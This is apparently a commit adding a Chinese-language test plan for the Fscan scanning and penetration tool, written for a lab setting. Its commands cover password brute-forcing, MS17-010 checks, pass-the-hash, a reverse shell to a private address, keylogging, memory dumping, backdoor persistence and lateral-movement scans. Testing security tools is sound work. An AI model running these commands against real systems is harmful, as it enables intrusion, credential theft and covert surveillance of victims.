docs: 添加完整的插件饱和性测试文档

- 覆盖所有47个插件模块的测试方案
- 包含服务插件、Web插件、本地插件三大类测试
- 提供Docker环境快速部署脚本
- 包含性能测试、稳定性测试、安全性测试
- 提供详细的验证标准和测试报告模板
- 涵盖内网渗透、外网侦察、横向移动等实战场景
This commit is contained in:
ZacharyZcR 2025-09-02 02:08:36 +00:00
parent f27daaa5a0
commit 8606af2f32

677
PLUGIN_TESTING.md Normal file
View File

@ -0,0 +1,677 @@
# Fscan 插件饱和性测试文档
## 概述
本文档用于全面测试Fscan v2.2.1的所有插件模块,确保每个组件都能正常工作。测试分为三大类:**服务插件**、**Web插件**和**本地插件**。
---
## 测试环境要求
### 基础环境
- Linux/Windows测试环境
- Docker容器用于快速部署测试服务
- 网络连接(用于外部服务测试)
- 管理员权限(用于本地插件测试)
### 测试目标服务器
建议使用Docker快速部署以下服务
```bash
# MySQL
docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
# Redis
docker run -d -p 6379:6379 redis:alpine
# MongoDB
docker run -d -p 27017:27017 mongo:4.4
# PostgreSQL
docker run -d -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
# SSH服务
docker run -d -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
# FTP服务
docker run -d -p 21:21 -p 30000-30009:30000-30009 -e FTP_USER=test -e FTP_PASS=test fauria/vsftpd
# SMB/CIFS
docker run -d -p 139:139 -p 445:445 dperson/samba -u "test;test" -s "share;/tmp;yes;no;yes"
```
---
## 1. 服务插件测试 (Services Plugins)
### 1.1 数据库服务测试
#### MySQL插件测试
```bash
# 基础连接测试
./fscan -h 127.0.0.1:3306 -m mysql
# 暴力破解测试
./fscan -h 127.0.0.1:3306 -user root -pwd "123456,admin,mysql"
# 自定义字典测试
echo "root" > users.txt
echo -e "123456\nadmin\nmysql" > passwords.txt
./fscan -h 127.0.0.1:3306 -userf users.txt -pwdf passwords.txt
```
**验证标准:**
- [ ] 能正确识别MySQL服务
- [ ] 能进行版本探测
- [ ] 能执行暴力破解攻击
- [ ] 成功时显示版本信息和权限
#### PostgreSQL插件测试
```bash
# 基础测试
./fscan -h 127.0.0.1:5432 -m postgresql
# 暴力破解
./fscan -h 127.0.0.1:5432 -user postgres -pwd "postgres,admin,123456"
```
**验证标准:**
- [ ] 正确识别PostgreSQL服务
- [ ] 显示版本信息
- [ ] 暴力破解功能正常
#### MongoDB插件测试
```bash
# 无认证连接测试
./fscan -h 127.0.0.1:27017 -m mongodb
# 认证连接测试(如果有密码)
./fscan -h 127.0.0.1:27017 -user admin -pwd "admin,mongodb,123456"
```
**验证标准:**
- [ ] 检测MongoDB服务
- [ ] 识别未授权访问
- [ ] 显示数据库列表(如果有权限)
#### MSSQL插件测试
```bash
# SQL Server测试需要MSSQL容器
./fscan -h target:1433 -m mssql -user sa -pwd "Password123,admin,sa"
```
#### Redis插件测试
```bash
# 基础连接测试
./fscan -h 127.0.0.1:6379 -m redis
# 未授权访问测试
./fscan -h 127.0.0.1:6379
# 写入测试(危险操作,仅测试环境)
./fscan -h 127.0.0.1:6379 -rs reverse_shell_command
```
**验证标准:**
- [ ] 检测Redis服务
- [ ] 识别未授权访问
- [ ] 能执行info命令
- [ ] 支持写入操作(如果有权限)
#### Oracle插件测试
```bash
# Oracle测试需要Oracle容器
./fscan -h target:1521 -m oracle -user system -pwd "oracle,admin,123456"
```
### 1.2 网络服务测试
#### SSH插件测试
```bash
# SSH暴力破解测试
./fscan -h 127.0.0.1:22 -m ssh -user "root,admin,ubuntu" -pwd "123456,admin,root"
# SSH密钥测试
./fscan -h 127.0.0.1:22 -sshkey /path/to/private_key
```
**验证标准:**
- [ ] 正确识别SSH服务
- [ ] 显示SSH版本和算法
- [ ] 暴力破解功能正常
- [ ] 支持密钥认证
#### FTP插件测试
```bash
# FTP连接测试
./fscan -h 127.0.0.1:21 -m ftp
# FTP暴力破解
./fscan -h 127.0.0.1:21 -user "ftp,anonymous,admin" -pwd "ftp,123456,admin"
```
**验证标准:**
- [ ] 检测FTP服务
- [ ] 支持匿名登录检测
- [ ] 暴力破解功能正常
- [ ] 显示FTP banner信息
#### Telnet插件测试
```bash
# Telnet测试
./fscan -h target:23 -m telnet -user "admin,root" -pwd "admin,123456"
```
#### SMB插件测试
```bash
# SMB服务探测
./fscan -h 127.0.0.1:445 -m smb
# SMB共享枚举
./fscan -h 127.0.0.1:445 -user guest -pwd ""
# MS17-010漏洞检测
./fscan -h target:445 -m ms17010
```
**验证标准:**
- [ ] 检测SMB服务版本
- [ ] 枚举共享目录
- [ ] 检测已知漏洞
- [ ] 显示操作系统信息
#### SMTP插件测试
```bash
# SMTP测试
./fscan -h target:25 -m smtp
./fscan -h target:587 -m smtp
```
#### LDAP插件测试
```bash
# LDAP连接测试
./fscan -h target:389 -m ldap
./fscan -h target:636 -m ldap # LDAPS
```
### 1.3 专用服务测试
#### Elasticsearch插件测试
```bash
# Elasticsearch测试
./fscan -h 127.0.0.1:9200 -m elasticsearch
```
#### Kafka插件测试
```bash
# Kafka测试
./fscan -h target:9092 -m kafka
```
#### RabbitMQ插件测试
```bash
# RabbitMQ管理接口测试
./fscan -h target:15672 -m rabbitmq
./fscan -h target:5672 -m rabbitmq
```
#### Memcached插件测试
```bash
# Memcached测试
./fscan -h target:11211 -m memcached
```
#### Neo4j插件测试
```bash
# Neo4j测试
./fscan -h target:7474 -m neo4j
./fscan -h target:7687 -m neo4j
```
#### VNC插件测试
```bash
# VNC测试
./fscan -h target:5900 -m vnc
```
#### RDP插件测试
```bash
# RDP连接测试
./fscan -h target:3389 -m rdp
```
---
## 2. Web插件测试 (Web Plugins)
### 2.1 Web标题获取测试
```bash
# HTTP标题获取
./fscan -u "http://www.example.com"
./fscan -u "https://www.example.com"
# 批量URL测试
echo -e "http://www.example.com\nhttps://www.github.com" > urls.txt
./fscan -uf urls.txt
# 端口扫描+Web检测
./fscan -h 127.0.0.1 -p 80,443,8080,8443
```
**验证标准:**
- [ ] 正确获取网页标题
- [ ] 显示HTTP状态码
- [ ] 识别Web服务器信息
- [ ] 显示响应长度
- [ ] 支持HTTPS检测
### 2.2 Web POC扫描测试
```bash
# 启用POC扫描
./fscan -u "http://target" -full
# 指定POC名称
./fscan -u "http://target" -pocname "spring,struts"
# 自定义POC路径
./fscan -u "http://target" -pocpath /path/to/pocs/
# 禁用POC对照测试
./fscan -u "http://target" -nopoc
```
**验证标准:**
- [ ] 能加载POC规则
- [ ] 正确识别已知漏洞
- [ ] 显示漏洞详细信息
- [ ] POC并发控制正常
### 2.3 指纹识别测试
```bash
# 启用指纹识别
./fscan -u "http://target" -fp
# 指纹+POC组合
./fscan -u "http://target" -fp -full
```
**验证标准:**
- [ ] 识别Web应用类型
- [ ] 识别中间件信息
- [ ] 识别CMS类型
- [ ] 识别技术栈
---
## 3. 本地插件测试 (Local Plugins)
> **警告:本地插件测试具有潜在风险,仅在测试环境中执行**
### 3.1 系统信息收集
```bash
# 系统信息收集
./fscan -local systeminfo
# 环境变量信息
./fscan -local envinfo
# 文件信息收集
./fscan -local fileinfo
# 域控信息收集
./fscan -local dcinfo
```
**验证标准:**
- [ ] 收集操作系统信息
- [ ] 枚举环境变量
- [ ] 查找敏感文件
- [ ] 识别域环境
### 3.2 服务和进程管理
```bash
# Windows服务管理
./fscan -local winservice
# 系统服务管理Linux
./fscan -local systemdservice
# 计划任务Windows
./fscan -local winschtask
# Cron任务Linux
./fscan -local crontask
```
**验证标准:**
- [ ] 枚举运行服务
- [ ] 识别计划任务
- [ ] 显示服务详细信息
- [ ] 检测异常服务
### 3.3 持久化和后门
```bash
# Windows启动项
./fscan -local winstartup
# 注册表查询
./fscan -local winregistry
# LD_PRELOAD后门
./fscan -local ldpreload
# Shell环境后门
./fscan -local shellenv
```
### 3.4 网络和通信
```bash
# 反弹Shell
./fscan -local reverseshell -rsh 192.168.1.100:4444
# 正向Shell服务器
./fscan -local forwardshell -fsh-port 4444
# SOCKS5代理
./fscan -local socks5proxy -start-socks5 1080
```
### 3.5 高级功能
```bash
# 键盘记录
./fscan -local keylogger -keylog-output keylog.txt
# 内存转储
./fscan -local minidump
# 杀毒软件检测
./fscan -local avdetect
# 系统清理
./fscan -local cleaner
```
### 3.6 文件操作
```bash
# 文件下载
./fscan -local downloader -download-url "http://example.com/file.exe" -download-path "/tmp/file.exe"
# 持久化文件植入Linux
./fscan -local persistence -persistence-file "/tmp/backdoor.elf"
# 持久化文件植入Windows
./fscan -local persistence -win-pe "C:\\temp\\backdoor.exe"
```
---
## 4. 综合测试场景
### 4.1 内网渗透场景
```bash
# 完整内网扫描
./fscan -h 192.168.1.0/24 -p 21,22,23,80,135,139,443,445,1433,3306,3389,5432
# 禁用ping的扫描
./fscan -h 192.168.1.0/24 -np
# 指定线程数的大规模扫描
./fscan -h 10.0.0.0/16 -t 1000 -mt 100
```
### 4.2 外网侦察场景
```bash
# 存活探测
./fscan -h target.com -ao
# Web应用测试
./fscan -h target.com -fp -full
# 特定端口扫描
./fscan -h target.com -p 80,443,8080,8443,8888
```
### 4.3 横向移动场景
```bash
# 凭据重用测试
./fscan -h 192.168.1.0/24 -user administrator -pwd "Password123"
# 哈希传递攻击
./fscan -h 192.168.1.0/24 -hash "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
```
---
## 5. 输出和日志测试
### 5.1 输出格式测试
```bash
# 文本格式输出
./fscan -h target -o result.txt -f txt
# JSON格式输出
./fscan -h target -o result.json -f json
# CSV格式输出
./fscan -h target -o result.csv -f csv
# 禁用文件输出
./fscan -h target -no
```
### 5.2 日志级别测试
```bash
# 详细日志
./fscan -h target -log all
# 仅基础信息
./fscan -h target -log base
# 静默模式
./fscan -h target -silent
# 无颜色输出
./fscan -h target -nocolor
# 无进度条
./fscan -h target -nopg
```
---
## 6. 性能和稳定性测试
### 6.1 高并发测试
```bash
# 最大线程测试
./fscan -h 192.168.1.0/24 -t 2000 -mt 200
# 超时控制测试
./fscan -h target -time 10 -wt 30 -gt 300
# 重试机制测试
./fscan -h unreachable_target -retry 5
```
### 6.2 大规模目标测试
```bash
# C类网段扫描
./fscan -h 192.168.1.0/24
# B类网段扫描谨慎使用
./fscan -h 10.0.0.0/16 -t 1000
# 文件批量目标
echo -e "192.168.1.1\n192.168.1.2\n192.168.1.3" > targets.txt
./fscan -hf targets.txt
```
---
## 7. 代理和网络测试
### 7.1 HTTP代理测试
```bash
# HTTP代理
./fscan -h target -proxy http://127.0.0.1:8080
# SOCKS5代理
./fscan -h target -socks5 127.0.0.1:1080
# 组合使用
./fscan -u "http://target" -proxy http://proxy:8080 -cookie "session=abc123"
```
### 7.2 DNS和网络配置
```bash
# DNS日志记录
./fscan -h target.com -dns
# 用户代理自定义
./fscan -u "http://target" -cookie "custom=value"
# 域环境扫描
./fscan -h target -domain corp.local
```
---
## 8. 错误处理和边界测试
### 8.1 错误输入测试
```bash
# 无效目标
./fscan -h "invalid_host"
# 无效端口
./fscan -h 127.0.0.1 -p 99999
# 无效插件
./fscan -h 127.0.0.1 -m nonexistent_plugin
# 无效文件路径
./fscan -hf /nonexistent/file.txt
```
### 8.2 资源限制测试
```bash
# 内存使用测试(大目标列表)
./fscan -h 0.0.0.0/0 -ao # 不要真的运行这个
# 磁盘空间测试(大输出文件)
./fscan -h large_network -o /tmp/large_result.txt
```
---
## 9. 验证清单
### 9.1 功能完整性检查
- [ ] 所有服务插件都能正常加载和执行
- [ ] Web插件能正确处理HTTP/HTTPS协议
- [ ] 本地插件能在对应操作系统上正常运行
- [ ] 输出格式正确且完整
- [ ] 日志记录准确无误
### 9.2 稳定性检查
- [ ] 长时间运行无内存泄漏
- [ ] 高并发场景下无崩溃
- [ ] 网络异常时能优雅处理
- [ ] 错误输入不会导致程序异常退出
### 9.3 安全性检查
- [ ] 本地插件不会误伤测试环境
- [ ] 网络扫描遵循配置的限制
- [ ] 敏感信息正确处理(不明文显示密码等)
- [ ] 代理配置正确工作
---
## 10. 测试报告模板
### 测试执行记录
```
测试日期____________________
测试环境____________________
Fscan版本____________________
Go版本______________________
插件测试结果:
□ 服务插件 (____/25 通过)
□ Web插件 (____/2 通过)
□ 本地插件 (____/20 通过)
性能测试结果:
□ 并发性能测试通过
□ 内存使用测试通过
□ 网络异常处理测试通过
发现的问题:
1. ________________________
2. ________________________
3. ________________________
测试建议:
1. ________________________
2. ________________________
3. ________________________
测试人员签名____________________
```
---
## 附录
### A. Docker测试环境快速部署脚本
```bash
#!/bin/bash
# 快速部署测试服务脚本
echo "部署MySQL..."
docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
echo "部署Redis..."
docker run -d --name redis-test -p 6379:6379 redis:alpine
echo "部署PostgreSQL..."
docker run -d --name postgres-test -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
echo "部署SSH..."
docker run -d --name ssh-test -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
echo "测试服务部署完成!"
```
### B. 清理测试环境脚本
```bash
#!/bin/bash
# 清理测试容器
docker stop mysql-test redis-test postgres-test ssh-test
docker rm mysql-test redis-test postgres-test ssh-test
rm -f result.* *.txt *.json *.csv keylog.txt
echo "测试环境清理完成!"
```
### C. 常用测试命令备忘
```bash
# 快速本地服务扫描
./fscan -h 127.0.0.1 -p 21,22,80,135,139,443,445,1433,3306,3389,5432,6379
# 完整功能测试
./fscan -h 127.0.0.1 -fp -full -log all
# 性能基准测试
time ./fscan -h 192.168.1.0/24 -t 500
```
---
**注意事项:**
1. 本测试文档仅用于授权的安全测试环境
2. 禁止在生产环境或未授权系统上执行测试
3. 部分本地插件可能需要管理员权限
4. 测试过程中请备份重要数据
5. 如发现安全漏洞,请负责任地披露
**版本:** v1.0
**更新日期:** 2025-09-02
**适用于:** Fscan v2.2.1